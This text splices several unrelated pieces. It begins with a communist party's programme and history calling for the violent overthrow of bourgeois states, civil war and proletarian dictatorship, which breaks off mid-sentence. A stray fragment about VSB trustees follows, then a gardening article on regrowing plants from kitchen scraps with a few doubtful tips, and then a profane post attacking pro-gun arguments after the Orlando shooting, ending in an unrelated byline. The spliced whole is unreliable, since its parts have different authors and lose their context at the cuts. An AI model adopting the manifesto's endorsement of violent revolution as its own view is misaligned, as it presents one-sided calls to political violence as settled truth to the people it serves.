In this struggle the Left is alone and knows it will remain alone, not through its own choice, but because this is the fertile lesson derived from the past defeats of the proletariat. In those defeats a pre-eminently counter-revolutionary role was played by positions and organizations which, although pretending to be inspired by the proletariat and even by Marxism and revolution, in fact represented the interests of the petty bourgeoisie and the labour aristocracy; and their action has always been that of first obstructing, then dividing, and finally abandoning the proletarian front to the enemy.
It is some time since we settled accounts with all the latter day union leaders, anarchists, and "left wingers" or rather since History did, which has pitilessly shattered their deeds and doctrines.
* * *
We dedicate this short text above all to the proletarian youth, so that, with its characteristic bravery, abnegation and spirit, it may turn its back forever on the illusory temptations of modern society, on the false myths of democracy and national solidarity, of reformism and gradualism, in order to embrace a program of struggle, of combat, on the anonymous and impersonal revolutionary communist front.
For it will be up to our youth to bring communism to victory.
THE PROGRAMME OF THE PARTY
The International Communist Party is constituted on the basis of the following principles established at Leghorn in 1921 at the foundation of the Communist Party of Italy (section of the Communist International).
1. Under the present social regime of capital, the conflict between the productive forces and the relations of production develops at an ever increasing rate, giving rise to antithetical interests and to the class struggle between the proletariat and the ruling bourgeoisie.
2. Production relations today are protected by the power of the bourgeois State: whatever the form of representative system and employment of elective democratic, the bourgeois State remains the organ for the defence of the interests of the capitalist class.
3. The proletariat can neither smash nor modify the system of capitalist relations of production which exploits it without violently overthrowing the bourgeois power.
4. The indispensable organ of the revolutionary struggle of the proletariat is the class party. The Communist Party, which contains the most advanced and resolute part of the proletariat, unifies the efforts of the labouring masses and transforms their struggles for particular group interests and immediate gains into the general struggle for the revolutionary emancipation of the proletariat. The party is responsible for propagating the revolutionary theory amongst the masses, for organising the material means of action, and for leading the working class through the course of its struggles by ensuring the historical continuity and the international unity of the movement.
5. After overthrowing the capitalist power, the proletariat must completely destroy the old State apparatus in order to organise itself as dominant class and install its own dictatorship: that is to say, it will deny all rights to the bourgeois class and individuals within it for as long as they socially survive, and will found the organs of the new regime on the producing class alone. The Communist Party, having set itself this fundamental aim as the distinctive feature of its program, at the same time represents, organises and directs the proletarian dictatorship.
6. Only by means of force will the proletarian State be able to systematically intervene in the social economy, and adopt those measures with which the collective management of production and distribution will take the place of the capitalist system.
7. This transformation of the economy and consequently of the whole of social life will gradually eliminate the necessity for the political State, whose machinery will gradually give way to the rational administration of human activities.
* * *
With regard to the capitalist world and the workers’ movement in the aftermath of the Second World War, the party’s position is based on the following points:
8. During the first half of the twentieth century capitalist economy has seen the introduction of monopolistic trusts amongst the employers. Attempts have been made to control and manage production and exchange by centralised planning, right up to State management of whole sectors of production. In the political field, there has been an increase in the strength of the police and military arms of the State and in government totalitarianism. None of the latter are new types of social organization of a transitional nature between capitalism and socialism, and neither are they revived forms of pre-bourgeois political systems. They are instead particular forms of a more and more direct and exclusive management of power and the State by the most advanced forces of capital.
This process rules out the pacific, progressivist and evolutionist interpretations of the bourgeois regime’s course, and confirms our forecasts about the classes concentrating and marshalling their forces on opposite sides. For the proletariat to match its enemy’s strength with rekindled revolutionary energy, it must reject, either as a demand or as a means of agitation, the illusory return to democratic liberalism and constitutional guarantees; the class revolutionary party must take the historic step of liquidating once and for all the practice of making alliances, even for transitory issues, both with the bourgeois and middle class parties, and with pseudo-workers’ parties who have adopted reformist programs.
9. The imperialist wars have shown that the crisis of capitalist disintegration is inevitable by decisively inaugurating a phase in which its expansion no longer signifies a continual growth in the productive forces, but rather an alternation of accumulation and destruction. These wars have been the cause of a series of profound crises in the workers’ international organizations, with the dominant classes having managed to impose military and national solidarity on them by getting them to line up on one or other of the war-fronts. There is only one historically viable alternative that can be posed to this situation and that is the rekindling of class struggle within nations, leading to the civil war of the working masses to overthrow the power of bourgeois States everywhere, along with all their international coalitions. The indispensable condition for this lies in the reconstitution of the International Communist Party as an autonomous force independent of any existing political or military power.
10. The apparatus of the proletarian State, insofar as it is a means and arm of struggle in a transitional period between two social systems, does not derive its organizational strength from any existing constitutional canons or schemas that aim to represent all classes. The most complete historical example of a proletarian State up to the present is the Soviets (workers’ councils) during the October revolution of 1917, when the working class armed itself under the leadership of the Bolshevik party, when the conquest of power was accomplished by totalitarian means and the Constituent Assembly dispersed, and when the struggle took place to repel the attacks by foreign bourgeois governments, and stamp out the internal rebellion of the vanquished classes, of the middle classes and opportunist parties – the inevitable allies of the counter-revolution at decisive moments.
11. The full accomplishment of socialism is inconceivable within the borders of one country alone and the socialist transformation cannot be effected without failures and momentary setbacks. The defence of the proletarian regime against the ever present dangers of degeneration can be ensured only if the running of the proletarian State is continually coordinated with the international struggle of the working class of each country against its own bourgeoisie, State and military apparatus; there can be no let up in this struggle even in wartime. The necessary co-ordination can be ensured only if the World Communist Party controls the politics and program of the States where the working class has attained power.
DEFENSE OF THE GREAT MARXIST TRADITION
On the basis of this program, outlined above, the International Communist Party reclaims the fundamental doctrinal principles of Marxism in their entirety: dialectical materialism as systematic conception of the world and of human history; the fundamental economic doctrines contained in Marx’s Capital as the method of interpreting capitalist economy; and the programmatic formulations of the Communist Manifesto as historical and political plan for the emancipation of the World working class. We also reclaim the entire system of principles and methods arising from the victory of the Russian Revolution, namely: the theoretical and practical work of Lenin and the Bolshevik Party during the crucial years of taking power and the civil war, and the classic theses of the 2nd Congress of the Communist International. These represent the confirmation, restoration, and subsequent development of the aforesaid principles, which today are brought into even more prominent relief by the lessons of the tragic revisionist wave which originated around 1926-27 under the appellation "socialism in one country".
It is only as a matter of convention however that we link this calamity to the name of Stalin, preferring instead to ascribe it to the pressure of the objective social forces towering over Russia after the revolutionary blaze of October 1917 had failed to spread worldwide. Too late was it seen that a programmatic and tactical barrier was needed to resist this pressure, a barrier which even if it had been unable to prevent defeat, might yet have made the rebirth of the international communist movement less difficult and tormented.
This latest of counter-revolutionary waves would be far more lethal than the opportunist disease (anarchist deviations) that had troubled the brief existence of the First International, and far more serious even than the damage wrought by the Second International when it sunk into the mire of adhesion to the Union Sacrée, and then to the 1914 imperialist war (gradualism, parliamentarism, democratism). Today the situation of the workers’ movement appears a thousand times worse than after the vertiginous collapse of the Second International at the outbreak of the first World War.
The Third International, formed in 1919, re-established the cardinal points of Marxist doctrine with a program that made a definitive break with the democratic, gradualist, parliamentary and pacifistic illusions of the Second (shipwrecked by the most ignoble chauvinism and warmongering during the war). The Third International was an enormous historical contribution by Lenin, Trotsky and the Bolshevik old guard, but, nevertheless, right from its very inception the Third International was, in a certain sense, on shaky ground, and this was due both to the hurried way it went about forming communist parties, and because of the overly flexible tactics it adopted to "conquer the masses".
But, at least as far as the creators of the Red October were concerned, this approach and these tactics did not signify, nor should they be taken as signifying, an abandonment of the basic principle of the violent conquest of power, of the destruction of the bourgeois parliamentary and democratic State apparatus, or then installation of the proletarian dictatorship directed by the party. In fact, the application of the tactics of the Third International might not have caused so much harm if the revolution, as was hoped, had spread rapidly to the rest of the World; but, as the Left was to warn from the 2nd Congress in 1920 onwards, there was a risk, if the revolutionary wave subsided, of very negative consequences. This was because the collection of parties adhering to the new International was highly unstable since they had been assembled in a most random way and, as a result, were not sufficiently immunised against the possibility of social democratic relapse as soon as the revolutionary wave had receded. Unfortunately, precisely that happened, bringing to the surface was not just the people, but rather the cancerous illnesses of an all too recent past.
Between 1920 and 1926, the Left insisted on the necessity of establishing one single platform and tactical plan to be adopted by all sections of the International, and warned against the perils of applying "revolutionary parliamentarism" in the West, where democracy had been established for over a hundred years. More importantly still, it would oppose the tactic of the "united political front", and then the tactics of the so-called "Workers (and Worker-Peasant) Governments", since it held that these formulae undermined the clearcut and unambiguous formula of the "proletarian dictatorship". It deplored the policy of allowing the direct adhesion to the International of organizations independent from the local communist party and of accepting sympathiser parties. It rejected the praxis of infiltrating pseudo-workers parties, and especially bourgeois parties (like the Kuomintang). Likewise, it rejected the even worse "blocs", even temporary ones, with alleged kindred parties or those contingently aligned on positions which were only superficially "similar".
The criterion which had inspired the Left and given rise to these positions was, and remains, the following: the strengthening of Communist parties depends not on tactical maneuvering or on displays of subjective voluntarism, but on the objective fact of the playing out of a revolutionary process which has no reason to obey the canons of a continuous and linear process. The seizure of power may be near or far, but in both cases, and above all in the former, preparing for it (and preparing a more or less large stratum of the proletariat for it) means heading off any action likely to cause the communist organization to relapse into an opportunism analogous to what occurred in the 2nd International, that is, a breaking of the inseparable bond between means and ends, tactics and principles, and immediate and ultimate objectives, leading inevitably back to electoralism and democratism in politics, and to reformism in the social field.
From 1926 onwards, the conflict would be transferred directly onto the political plane and end in a split between the International and the Left. The two questions on the table were "Socialism in one country" and, shortly after, "anti-fascism". "Socialism in one country" is in fact a double negation of Leninism: firstly, it fraudulently passes off as socialism what Lenin clearly defined as "capitalistic development in the European manner in petty-bourgeois and mediaeval Russia", and secondly, it detaches the destinies of the Russian Revolution from that of the World Proletarian Revolution. It is the doctrine of the counter-revolution. Inside the U.S.S.R., it would be used to justify the repression against the Marxist and Internationalist old guard, starting with Trotsky, whilst outside its borders it would favour the crushing of the Left currents by centre fractions, often clearly descended from social-democracy, and "in total submission to the bourgeoisie" (Trotsky).
The principal manifestation of the abandonment of the cardinal programmatic points of the World-wide communist struggle was the substitution of the watchword of the revolutionary conquest of power for the defence of democracy against fascism; as if both regimes would not always respond to their shared objective of defending the capitalist regime when faced with the peril of a new proletarian revolutionary wave, and alternate at the helm of the State according to the pressing demands of the dynamics of class struggle. This phenomenon, after the German bastion had fallen with Hitler’s victory in 1933, found expression not only in the Third International, but also amongst the "Trotskyist" opposition, which, even if it did talk of democracy as a "stage" or "phase" which had to be traversed before the full demands of the revolutionary proletariat could be acted on, was, nevertheless, using the very same watchword of the defence of democracy against fascism as the Stalinists. In both cases, it brought about the destruction of the working class as a politically distinct force with objectives antithetical to those of all other social strata; the workers of the various countries would be mobilised first in defence of democratic institutions, and then in defence of the "fatherland", prompting the rebirth and exasperation of chauvinistic hatreds. Finally even the Communist International was formally dissolved and any wish to reconstruct it temporarily annihilated.
Since the working class was now hitched to the bloody wagon of the Imperialist war of 1939-45, the slender forces of international and internationalist communism, if and where they had survived, were not able to influence the situation in any way: and the call for the "transformation of the imperialist war into civil war", which had first gone up in 1914, and foreshadowed the Russian Revolution of 1917, now fell on deaf ears – scorned and despised. In the post-war period, not only were the "naïve" hopes of an expansion of revolutionary communism at the tips of Russian bayonets not fulfilled but a neo-ministerialism even worse than that of the right-wing of the Second International reigned supreme; worse because exercised in the more difficult period of capitalistic reconstruction: a reconstruction, which favoured State authority (disarming of the proletarians in partisan units), saving the national economy (reconstruction loans, acceptance of austerity measures in the name of the "higher interests" of the nation, etc, etc). Later, in the "popular democracies", the re-establishment of an order which would be passed off as "Soviet" (Berlin, Poznan, Budapest) would be favoured.
But once their open collaboration at the helm of the State was no longer required however, the "communist" parties affiliated to the Kremlin would be pushed to the margins of a merely parliamentary "opposition", driven there by the allies of war and of "peace" in an increasingly steelbound World of police States and fascism. But, far from rediscovering the Via maestra of Lenin (something they couldn’t have done even supposing they had wanted to) they sunk deeper and deeper into the pit of total revisionism, finally reaching rock-bottom in recent years when they would neither predict nor advocate an end to capitalism, now exalted under the form of international commerce (globalization), or an end to bourgeois parliamentarism, which, on the contrary, was now to be defended against the attacks of the bourgeoisie, which needed reminding of the its "glorious" past. In the end, even the pretence of a struggle between the "socialist" and "capitalist" camps, the paltry level to which Stalinism had reduced the class struggle, was dropped to make room for the watchword of "coexistence and peaceful competition!" on an international scale.
Finally, no longer able to bear that word "communist", which had weighed them down for so long; these parties changed their name.
The consequence of "coexistence" and economic confrontation could only be the complete liquidation of Stalinism. For our party, therefore, the complete abjuration of Stalinism by the countries of the Eastern bloc cames as no surprise; indeed, we had foreseen it as the inevitable and definitive step needed to overcome, at the economic level, their separation from the world market; and to move beyond that autarchy necessary in backward countries to develop their national capitalist industry to the point they can compete with the industrial production of the old capitalist powers.
Russia now makes no pretence of being "socialist" and has become a fully capitalist country, with all its producers proletarianised and with all the economic, political, social and moral muck of a true capitalist democracy. The Stalinist betrayal of communism and its ensuing collaboration with rotten western capitalism ended up reducing the 1917 communist revolution that shook the world from blazing splendour to cold ashes; but at the same time it wrested Russia from its semi-feudal inertia by carrying out – by fire and sword and all the inevitable atrocities that go with it – its primitive capitalist accumulation. The Russian attempt at disguising as socialism an out and out capitalism has failed. The prevailing of the latter form of production in every corner of the country, far from being evidence of the defeat of communism, is on the contrary the best condition for its future triumph.
But from the depths of the abyss, in anticipation of a future proletarian resurgence, the call goes up: "Workers of the World - Unite!" and "Dictatorship of the Proletariat!". It is our call.
FOR THE RESTORATION OF REVOLUTIONARY MARXIST THEORY
Back to “Catastrophism”
In terms of the general doctrine of historical and social revolution, the old communist movement has now degenerated to such an extent that it rejects the "catastrophic" vision of Marx: neither opposed class interests, nor clashes between States will lead – they say – to violent struggle, to armed conflicts. Basically, they subscribed to the prospect of an international peace, baptised peaceful co-existence, along with a social peace guaranteed by the conservative and reactionary watchword of a "new democracy", which would be based on "democratic planning", on "structural reforms", and on the "struggle against monopolies". In reality, Stalinist, and especially post-Stalinist "communism" was just an apologia for Progress in its glorification of growth of production and productivity, and an apologia for Capitalism in its glorification of the growth of trade.
Today, while "peaceful coexistence" has given way to a fluid international situation, in which looks for new settlements are being sought in view of the next world conflict, the opportunist, pseudo-worker parties are no longer distinguishable, even in a formal sense, from then self-proclaimed "right wing" parties.
In opposition to this kaleidoscope of positions, the marxist position remains the same: under capitalism, the growth of production and productivity involves increasing exploitation of labour by capital, a growth measured in the part of work which is unpaid, of surplus-value. Workers’ consumption, the "reserve fund" which the working class gives rise to in both an individual, and social form (insurance against sickness and old-age, family legislation, etc.) may increase, but at the same time the subjection of the producers to capital increases also, and their conditions of life become even more insecure due to the ups and downs of the market economy. Rather than class antagonisms getting less, they are pushed, in fact, to their maximum extent.
Extension of trade signifies the extension of the dominion of the developed countries over the under-developed countries, plus increasing aggravation of the natural competition between developed countries. By drawing the different peoples and different continents together in the meshes of an increasingly global economy – a genuine, if unwitting conquest – international commerce presents, dialectically, a "negative" aspect which its apologisers feign to ignore: that is, it prepares the ground for the commercial, and therefore financial and industrial crises whose only outcome can be, today as yesterday, an imperialist war. Moreover, an increasing part of the productive forces is nowadays wasted, not just in producing the "goods and services", which "mutually beneficial" and "honest trade" (so dear to the hearts of opportunists of East and West) if keen to "bestow" on the whole of humanity, but in the production of destructive weapons whose main function is actually economic (accumulating by absorbing over-production) than military.
Capitalism is endless reproduction of capital; of capitalist production’s purpose is capital itself. The increase of commodity production beyond any natural limit, at a breakneck speed, does not generate better welfare for mankind, but rather a series of catastrophic crises of overproduction that ravage social life over the entire planet. Of such crises – denied for decades by bourgeois theorists, and believed unavoidable by authentic Marxism – the working class is the first victim, bearing the weight of unemployment, reduction of wages, and intensification of work loads.
For capitalism war is the necessary consequence of its periodical overproduction crises. Capitalist war is therefore unavoidable. Only the enormous destructions provoked by the modern world wars allow capitalism to start anew its infernal cycle of reconstruction-accumulation. Our era’s imperialist world wars – although invariably hidden behind "humanitarian", "democratic", "pacifistic", "defensive", "antiterrorist" screens – are badly needed by the various capitalisms to share out the exhausted markets, to divide up the continents among themselves. They are therefore wars for the conservation of capitalism; both on the economic plane and insofar as they provide, during the crises, for the elimination of the part of labor force that exceeds the reduced capacity of the system of production to employ it. As a matter of fact, they are immense slaughters of slaves that capital is not at that moment able to support. It’s either war or revolution, there’s no alternative route.
The revolutionary communist attitude towards war is to denounce the idea of peace being compatible with capitalism as a tragic illusion, and to affirm that only the overthrowing of bourgeois power and the destruction of production relations founded on capital will free mankind from such a recurrent tragedy. On the line of Marx and Lenin the party proclaims the tactics of class antimilitarism, of fraternization at the fronts, of revolutionary defeatism at the front and the rear; which aim to turn the war among States into a war between classes.
Due to the fundamental contradiction that invalidates all legalitarian and interclassist pacifist movements, which condemn war but within the boundaries of the present regime, communism expects, owing to their bourgeois origin, that whenever they are forced to choose between war and revolution they will invariably opt for the former. With Lenin we consider them as a factor of confusion, detrimental to the sound battle orientation of the proletarian, and as an auxiliary instrument of militarism used to drag workers into war. As a matter of fact it is the pacifists – after ascribing to the "aggressor" of the hour those atrocities against civilians that imperialist wars always and invariably cause – who end up going to the bourgeois states and asking them "to put a stop to it by any means", and who ask proletarians to slaughter each other in the name of the phoney ideals of "peace", "democracy", "civilization", etc.
When dealing with the even more classically reformist arguments of post-stalinism, the positions of revolutionary marxism remain as they were back in the heyday of social-democracy: modern capitalism is not at all characterised by "lack of planning" (Engels had already seen that!), and in any case "planning" alone, of whatever sort, isn’t nearly adequate to characterise socialism. Not even the disappearance (more or less true as the case may be) of the social personality of the capitalist, which supposedly distinguished Russian society, is sufficient to demonstrate that capitalism itself has been abolished (and Marx had already seen that!). Capitalism is, after all, nothing other than the reduction of the modern worker to the position of wage-earner; and where you find wage-earners you find capitalism.
The combination of apologia of capitalism with reformism of the old-fashioned social-democratic type, which distinguishes Russian and Chinese-type "communism" (worse even than classical reformism), is linked to a defeatism that, insofar as it is a psychological and ideological reflection of the disintegration of the revolutionary strength of the proletariat, sterilizes even the revolt which it itself has stirred up in certain workers’ strata. This new, more dangerous reformism consists, in the first place, in denying that the working class can overcome the heightened competition that divides it in the present day; that it can rebel against the despotism of the needs created by capitalist prosperity; that it can escape from the cretinisation generated by the bourgeois organization of welfare, of leisure, of "culture"; that it can form its own revolutionary party. In the second place, it implies, explicitly, or implicitly, that the new weapons possessed by the ruling class have somehow rendered them more invincible than before. We, meanwhile, are convinced that capitalism’s power is merely a transitory phase in history; and therefore all these positions, which are tantamount to the abdication of every revolutionary hope before an omnipotent capitalism, are rejected by us.
The same defeatist positions we find in all epochs of political and social reaction (i.e. superstitious respect for the military power of the enemy, already combated by Engels back in the days of "conventional" guns and cannons; philistine scorn and contempt for the "obtusity", "ignorance", and "lack of idealism" of the workers, already combated by Lenin and by all revolutionary militants); but each age creates its own pressing reasons for believing them (the atom and hydrogen bombs or, as in Marcusian elucubrations, the incurably corrupting power of "the consumer society"!).
A central instrument of this moral intimidation are today’s powerful mass media, which obsessively repeat that the present society is the "lesser evil".
The marxist positions, on these issues as well, remain the same as ever: capitalism may divide, but at the same time it concentrates and organises the proletariat – and in the end the concentration gains the upper hand over the division. Capitalism may corrupt and weaken the proletariat, but nevertheless, despite itself, it provides a revolutionary education whether it likes it or not – and in the end such education gains the upper hand on the corruption. Indeed, all the sophisticated products of the "pleasure industries" are equally powerless to soothe the increasing malaise of social life (whether rural or urban), as indeed are all the tranquillisers of modern medicine when it |
directly attributable to the trustees, the then Senior Management was constantly devising sensible solutions to the VSB’s difficulties only to be thwarted by the trustees.” The introductory section, which appears to explain when or in what capacity the person worked at VSB, is redacted.
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Worried that you’re generating too much organic waste at home? Before you take out the trash, consider if there are any uses for the waste you’ve created. Think about composting, making mulch, or, coolest of all, starting your own garden.
That’s right, you can start a garden using the organic waste in your home! Did you know that you can regrow plants from food scraps? We did a post on this earlier this year that was pretty popular, so I wanted to expand this to include more plants you can grow at home.
Here are some of the plants that you can use to regrow food from scraps:
Ginger
Ginger isn’t just an absolutely delicious root, but it’s also a wonderful herbal remedy for sore throats, lung infections, and inflammation. You can take any spare piece of fresh ginger root and plant it in soil. If the buds are facing upward, new shoots and roots will grow in around 7 days. You can pull it up and use it–just make sure to save some of the rhizome for re-planting!
Potatoes
Who doesn’t love a fresh baked potato or mashed potatoes with gravy? If you want to always have a crop of potatoes at home, cut the eyes from your potatoes or search through the peelings to find eyes. Let the pieces dry overnight and plant them at a depth of four or five inches. In just a few weeks, you’ll have more potatoes to enjoy!
Bean Sprouts
Nothing replaces pasta like a bowl of bean sprouts, and you can grow your own bean sprouts VERY easily! Soak a tablespoon of the bean in a jar filled with a few inches of water, and leave it out overnight. Drain the water and set the beans in an empty container, cover the towel, and rinse again the next day. Repeat this procedure for a few days, until you notice new sprouts beginning to grow. Perfect for wheat berries and mung beans!
Celery
Celery makes a great flavoring for soups, salads, and stuffing, plus, it goes great as a veggie stick to dip! All you need is the base of the celery (the white end), and you can leave it in a bowl with warm water. Place that bowl in the sun for as much time as possible, and you’ll have brand new celery stalks within a week or so. Once the leaves have begun to thicken, it’s time to transplant it into potting soil and let it grow.
Leafy Greens
Cabbage, lettuce, and bok choy can all be regrown from scraps, meaning you can always have salads and delicious Japanese/Chinese meals! Don’t throw out the leaves you trimmed off the head, but instead place them in a bowl with less than an inch of water. Place that bowl in direct sunlight and give your leaves a gentle misting a few times every week. Before the end of the first week, you’ll notice that the leaves have begun to sprout roots–meaning it’s time to transplant it to potting soil to grow.
Lemongrass
Never run out of lemongrass for your salads or smoothies ever again! You can place the trimmed grass roots into a cup or bowl with the right amount of water (enough to cover the root), and place that cup or bowl in the sunlight. You should notice the grass shoots appearing in around a week, and that’s when you want to transplant the lemongrass plant into a pot of soil or your garden.
Avocado
You don’t have to throw the avocado seed away once you’re done making the guacamole, but it can be used to grow a whole new fruit. Wash the seed and make a toothpick frame in the bottom of a bowl or jar. You need to suspend the seed so that only the bottom inch is covered in water, and the rest exposed to air. Make sure the jar or bowl is placed in a warm place OUT of direct sunlight, and add more water to ensure that the bottom inch of the seed is covered. Your new avocado plant should sprout in about six weeks. Once your stem reached 6 inches long, trim it down to 3 inches in length. Transplant it once the leaves begin to appear.
Sweet Potatoes
You can grow these bad boys just like you would regular potatoes. Cut the sweet potato in half and use a toothpick frame to keep it just above water. The potato will actually grow roots that will reach out and grow down into the water. Wait until the roots reach 4 inches in length to transplant them. The potato will also develop sprouts, which you can harvest and plant when they are an inch long.
Garlic
All you need is a single garlic clove, and you can regrow your entire head of garlic! Remove a single piece of garlic from the head and plant it in soil, making sure the root faces downward. Put the pot with the garlic into direct sunlight, and keep it out of doors during the spring, summer, and fall. New shoots will soon begin to form, but trim those back to ensure that a bulb forms. That bulb will one day become your head of garlic, which you can use to start the cycle all over again!
Pineapple
Cut the top off your pineapple and use a toothpick frame to suspend it above water. Set the container in sunlight and keep it in warm weather. You’ll want to change the water fairly often and keep the container filled with just enough water to keep it touching the base of the pineapple plant. Once roots form–in a week or so–transplant it into soil.
Onions
Gather the onion roots from your garbage, making sure there is about half an inch of onion still attached. Cover the root with potting soil and set the plant into direct sunlight. Keep the plant hydrated and you’ll notice the onions growing in no time.
Mushrooms
Grow mushrooms in a pot, using the stalk or stem to re-grow these delicious fungi. You need to ensure that the plant grows in a warm, humid environment, with very little direct sunlight.
Pumpkins
Want to have a pumpkin to carve come Halloween? Save the pumpkin seeds and plant them in potting soil or your garden. Spread out the seeds and cover them in a thin layer of soil.
Tomatoes
Instead of throwing out the tomato seeds, rinse them off and plant them in high quality potting soil once they have dried. You will need to let the seedlings grow to a few inches in height before you transplant them. Make sure they are growing in a warm environment, with plenty of sunlight and water.
Fennel
All you need to re-grow fennel is an inch or so of the base of the plant. You can place the root in a container with around a cup of water, and set the container in direct sunlight. You’ll notice roots growing from the bottom of the fennel plant, and the growth of green shoots will indicate that it’s time to transplant.
Peppers
It doesn’t matter if you want to grow bell peppers, jalapeno peppers, or any other kind of pepper; you just need the seeds! Place the seeds in potting soil, set the pot in direct sunlight, and let them grow. Thankfully, peppers are fast-growing plants that require very little in the way of care.
Chestnuts
As long as you have a type of chestnut indigenous to your climate zone (planting zone), you can grow them easily. Dry out the nuts before planting, and plant a number of nuts close together to increase the chances of a proper chestnut tree growing. Note: It takes years for the tree bears nuts.
Lemons
To grow a lemon tree, all you need are a few lemon seeds. Meyer lemons are ideal for cold climates, as they are small and ideal for indoor plants. Wash and dry the seeds before planting in quality potting soil!
Apples
Use the seeds from your apples to grow a new apple seed. Let the seeds dry out before you plant them, and make sure that you plant a few seeds in each hole–no fewer than two seeds!
Turnips
All root plants (including carrots and turnips) are easy to re-grow; all you’ll need is the tops of the turnips. Place the tops in a container of water, and you’ll notice the green tops growing within 3 or 4 days. Let the root grow for a week or so before transplanting.
Basil
To re-grow basil, you will need nothing more than the stem from which you plucked the fresh basil leaves. Set the stem in a glass (not bowl) of water, making sure that the water level stays below the leaf line. Put the glass in a bright, warm area, but keep it out of direct sunlight. The roots will grow within a few days, and your plant is ready to transplant once the roots have grown to a couple of inches in length.
Cherries
You can grow an entire cherry tree with nothing more than a few cherry pits! It will take years for the tree to grow enough to bear fruits, but you’ll get flowers within the first year or two. Keep the cherry pit in cold storage (in potting soil, covered with a lid, stored in the fridge) to allow them to germinate, which will take a few weeks. After about 12 weeks, they’ll be ready to transplant.
Cilantro
When you are chopping cilantro, keep the root of the herb. You can also use the bottom of the stem, placing it in a glass of water in a bright area. The roots will grow quickly, and the cilantro will be ready to transplant once they have reached two inches in length. You’ll get new cilantro sprigs in a few weeks!
Peaches
Collect the seeds of your peaches, nectarines, or plums, and dry them out. Once they have been properly dried, plant them in nutrient-rich potting soil, in a place where you are certain they will receive a lot of sunlight. It will take a few years for the trees to bear fruit, but it will be worth it!
Hazelnuts
Dry the hazelnuts instead of eating them, and plant them in nutrient-rich soil near another hazelnut tree. The trees grow better in warm weather, so those living in colder climates should begin to grow them indoors them transplant them outside when the weather warms up. It only takes a couple of years for the tree to start bearing nuts!
Never waste your food again, but try to regrow plants from kitchen scraps of fruits, veggies, herbs, and nuts in your kitchen!
If you need more instructions, take a look at this infographic that I found from another cool gardening website:
The Green Thumbs Behind This Article:
Kevin Espiritu
FounderAn incomplete list of responses to pro-gun arguments in my Facebook feed.
Raymond Hobbs Blocked Unblock Follow Following Jun 13, 2016
This is not me, although I am a confused pale white dude with a silver laptop.
I wrote this for my own psychological well-being. None of this should need to be said. But if your Facebook feed is anything like mine right now, you might find this exploration useful.
“You can’t change the constitution.”
Yes you can. It’s called a fucking amendment.
“But it’s in the bill of rights.”
Good news: we don’t have to change a thing! 2nd amendment here: “A well regulated Militia, being necessary to the security of a free State, the right of the people to keep and bear Arms, shall not be infringed.” “Well regulated militia.” “WELL REGULATED.” REGULATING GUNS IS IN THE FUCKING CONSTITUTION. Those guns, also, used to be musket things. Super hard to load and reload. Not like an AR-15, which is a weapon designed for modern combat and war. Designed to kill people. Not hunt deer. Not protect a house. To. Kill. Groups. Of. Humans.
“Background checks/assault weapon bans are a slippery slope — if you start there, where does it end?”
People invoke this shit like it is logical truth. The deep, poetic irony here is that slippery slope is a logical fallacy — you are actually calling yourself out for being wrong by saying it.
Secondly, no it is not. This gunman, was on an FBI watch list. He beat his wife. By all accounts, he had a history of mental illness. His father was a vocal and public Taliban supporter. Pretty sure those are the types of things that would maybe, probably, come up on a background check. But if you would like to defend the right of mentally unstable, wife-beating assholes to own an AR-15, then by all means invoke your freedom of speech—which is actually in the Bill of Rights—and alienate yourself from good people.
Personal anecdote: my grandpa had to sacrifice his driver’s license when he got tremors and his vision failed. And he certainly would have had it revoked when his dementia set in — because he could have hurt someone on the way to the grocery store. This double standard is mind boggling and irrational. And because it is irrational — this is important — it is emotionally rooted. People are arguing from a place deep in their hearts that is beyond logic. They feel like this is true. I understand that. Oh wait, no I don’t, that is fucking idiotic and people keep dying. In fact, it would be amoral of me to find a middle ground! I am tired of smart people trying to play nice on this. 50+ sons and daughters were brutally mowed down by a lunatic that SHOULD NOT HAVE HAD ACCESS TO A GUN.
“But bad people will just get guns from the Black Market.”
“Hi, is this the Black Market? I’ll have one contraband please.” The black market IS NOT A FUCKING PLACE. It does not have a storefront. People don’t hang out there. They don’t have a customer service line. The black market is the distribution of illegal and illicit material. It is a HARD place to find (even harder since the Silk Road shut down for a third time), because it is not a place, and that non-place is well hidden. You don’t just go there AS A DUDE. The FBI and Police Departments around the country are devoting billions trying to track and crush and intercept the black market. To me, that sounds like a good place to force desperate, violent people to try their luck.
Countries with strict gun laws don’t have the same gun-homicide problem we do. They probably have a black market lurking around somewhere.
I don’t understand: So, you would just rather this crazy guy buy an assault weapon legally? Do you see where this logic is flawed? This is obvious right? Am I taking fucking crazy pills?
“Your safety is not worth our liberty.”
What the fuck?! I seriously… Jesus christ dude. Let me compose myself and try and make some sense of the densest platitude I’ve ever tried to choke down…This isn’t ‘1984’. We aren’t asking for camera’s in your bedroom. We simply don’t want crazy-ass people to have crazy-ass guns.
“Men will find a way to kill. No ban will stop that. People committed mass murder with fertilizer and box cutters.”
This one probably sounds really specific. Well, someone actually wrote this in a place where other people could read it. When was the last time someone used a box cutter or fertilizer to commit mass murder in this country? Are you talking 9/11? Think about all the mass murders committed with guns. I think that ratio is nearing 3 to infinity. Also, I can think of at least one other use for box cutters and fertilizer besides mass murder — namely, box cutting and fertilizing. And guess what, we regulate those. We also regulate Sudafed. But not just Sudafed, we also regulate off-brand Sudafed. It is harder for me to get nose medicine than it is to get a gun. That is so dumb that I just made myself hungry. I can’t even explain that, but it’s true.
You are right. Some men will find a way to kill. Women too. Let’s probably make that urge harder to act on, then.
“We should not politicize this tragedy.”
Go. Fuck. Yourself. You lazy coward. You weak, apologist parrot. This was a gay club, filled with sexual and ethnic minorities. The attack was committed by a homegrown religious extremist. Who was enabled by the most powerful interest group in the land: The NRA. I am not politicizing anything—politics is already deeply rooted in this.
Politics is shitty. Politics is also a vehicle to enact change. Change is deeply needed. There were political activists in that club, guaranteed. There were people in that club who had to fight to be equal in the eyes of the law. And still, they were marginalized. Still, they were hated. And in a place where they felt safe to express themselves freely without scorn or judgement: killed. Brutally. Mercilessly. This could have been prevented. You are complicit in mass murder if you do not get political.
What is obvious is that passionate people are jumping through logical hoops to shut down regulation arguments. This is at best a flawed rhetorical exercise, and always disrespectful to the memories of the dead and their families. I am drawing a line in the sand, and so should you. I saw angry, tearful people marching down Market Street on Monday, 3,500 miles from Orlando. I watched a TV interview with a mother who didn’t know where her son was, the grim news all but a formality. I was so sad for her, and everyone else. I wept along with her. We should all weep. And we should all continue to fight the good fight. The logical fight. The fight so glaringly obvious that it shouldn’t even be a fight.
Stricter gun control, now. Start here.By Pat Loeb
